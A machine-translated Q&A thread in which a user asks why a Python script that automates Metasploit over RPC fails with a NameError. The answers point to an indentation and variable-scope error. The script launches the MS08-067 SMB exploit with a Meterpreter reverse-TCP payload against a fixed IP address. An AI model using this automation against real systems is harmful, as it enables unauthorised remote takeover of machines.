Как автоматизировать Метасплоит?

Я использую следующий код для автоматизации Metasploit:

import os, msfrpc, optparse, sys, subprocess
from time import sleep

def sploiter(RHOST, LHOST, LPORT, session):
 client = msfrpc.Msfrpc({})
 client.login('msf', '123')
 ress = client.call('console.create')
 console_id = ress['id']

 RHOST="192.168.1.102"
 LPORT="444"
 LHOST="127.0.0.1"

commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('\n')

Но это не работает, и я получаю сообщение об ошибке:

client.call('console.write',[console_id,commands]) NameError: имя "клиент" не определено

В чем проблема? Есть ли другой скрипт, который мог бы работать подобным образом?


person knobiDev    schedule 10.02.2016    source источник
comment
Это похоже на вопрос программирования на Python, а не на проблему безопасности или даже метасплойта. Сообщение об ошибке является чисто внутренней ошибкой логического потока Python.   -  person schroeder    schedule 10.02.2016


Ответы (2)


Ваш отступ выключен. Таким образом, clients.call() выполняется вне контекста, в котором вы создаете его внутри функции sploiter.

person Lucas Kauffman    schedule 10.02.2016

Ваш клиент существует только внутри вашего метода sploiter. Я не очень хорошо знаком с python, но я думаю, вы могли бы настроить метод sploiter так, чтобы он возвращал клиента.

client = msfrpc.Msfrpc({})
client.login('msf', '123')
return client

В приведенной ниже части вы можете сделать что-то вроде

client = sploiter(Parameter1, Parameter2, Parameter3, Parameter4)
client.call('console.write',[console_id,commands])
person Lexu    schedule 10.02.2016